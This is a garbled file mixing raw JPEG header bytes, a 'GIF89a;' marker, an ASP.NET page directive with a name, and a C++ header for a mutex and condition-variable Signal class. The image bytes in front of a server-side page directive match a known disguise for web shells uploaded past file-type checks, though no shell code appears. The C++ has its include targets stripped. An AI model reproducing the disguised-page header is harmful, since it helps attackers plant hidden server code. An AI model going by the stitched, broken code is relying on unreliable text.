ÿØÿà JFIF    ÿÛ C     $.' ",#(7),01444'9=82<.342ÿÛ C  2!!22222222222222222222222222222222222222222222222222ÿþGIF89a; <%@ Page Language="C#" %> Mahdee Rajon
 ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- ÿØÿà JFIF    ÿÛ „  ( %!1!%*+...983,7(-.- #ifndef SIGNAL_H #define SIGNAL_H #include #include class Signal { public: Signal() : mFlag(false), mWaiting(false) {} void wait() { std::unique_lock lock(mMutex); while (!mFlag) { mWaiting = true; mCond.wait(lock); } } std::cv_status waitFor(std::chrono::milliseconds ms) { std::unique_lock lock(mMutex); return mCond.wait_for(lock, ms); } void notify() { std::unique_lock lock(mMutex); mFlag = true; mCond.notify_all(); } void reset() { std::unique_lock lock(mMutex); mFlag = false; mWaiting = false; } bool isWaiting() { return mWaiting; } private: bool mFlag; bool mWaiting; std::mutex mMutex; std::condition_variable mCond; }; #endif